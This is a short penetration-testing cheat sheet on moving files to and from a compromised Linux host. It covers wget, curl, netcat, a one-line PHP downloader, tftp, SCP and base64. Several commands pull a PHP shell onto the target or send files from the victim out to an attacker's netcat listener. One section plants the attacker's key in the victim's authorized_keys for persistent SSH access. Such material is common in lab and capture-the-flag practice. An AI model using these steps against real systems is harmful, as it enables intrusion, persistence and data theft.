Transfer files on linux

Set Up a Simple Python Webserver

For the examples using curl and wget we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

python -m SimpleHTTPServer 9999

Wget

You can download files using wget like this:

wget ip:9999/file.txt

Curl

curl -O http://ip/file.txt

Netcat

Another easy way to transfer files is by using netcat.

If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

nc -lvp 4444 < file

On target machine:

nc ip 4444 > file

You can of course also do it the risky way, the other way around:

So on the victim-machine we run nc like this:

nc -lvp 3333 > enum.sh

And on the attacking machine we send the file like this:

nc ip < enum.sh

I have sometimes received this error:

This is nc from the netcat-openbsd package. An alternative nc is available

I have just run this command instead:

nc -l 1234 > file.sh

With php

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

Ftp

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

Tftp

On some rare machine we do not have access to nc and wget, or curl. But we might have access to tftp. Some versions of tftp are run interactively, like this:

$ tftp ip
tftp> get myfile.txt

If we can't run it interactively, for whatever reason, we can do this trick:

tftp ip <<< "get shell5555.php shell5555.php"

SSH - SCP

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the /home/user directory you can find the hidden .ssh files by typing ls -la. Then you need to do two things.

1. Create a new keypair

You do that with:

ssh-keygen -t rsa -C "[email protected]"

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey Enter passphrase (empty for no passphrase): Enter same passphrase again:

This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.

1. Add your public key to authorized_keys.

Now you copy the content of nameOfMyKey_pub. On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys

1. Log in.

Now you should be all set to log in using your private key. Like this

ssh -i nameOfMyKey [email protected]

SCP

Now we can copy files to a machine using scp

# Copy a file:
scp /path/to/source/file.ext [email protected]:/path/to/destination/file.ext
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# Copy a directory:
scp -r /path/to/source/dir [email protected]:/path/to/destination

Python SimpleHTTPServer
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#on Attacker
python -m SimpleHTTPServer
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#on target
wget <attackerip>:8000/filename
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Apache
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#on Attacker
cp filetosend.txt /var/www/html
service apache2 start
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#on target
wget http://attackerip/file
curl http://attackerip/file > file
fetch http://attackerip/file        # on BSD
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Netcat (From Target to Kali)
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# Listen on Kali
nc -lvp 4444 > file
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# Send from Target machine
nc <kali_ip> 4444 < file
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Netcat (From Kali to Target)
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# on target, wait for the file
nc -nvlp 55555 > file
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# on kali, push the file
nc $victimip 55555 < file
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Extra:
To send the executable file to your machine:
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base64 executable
# copy the output
# paste it in a file called file.txt
# decode it and create the executable
base64 -d file.txt > executable
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​
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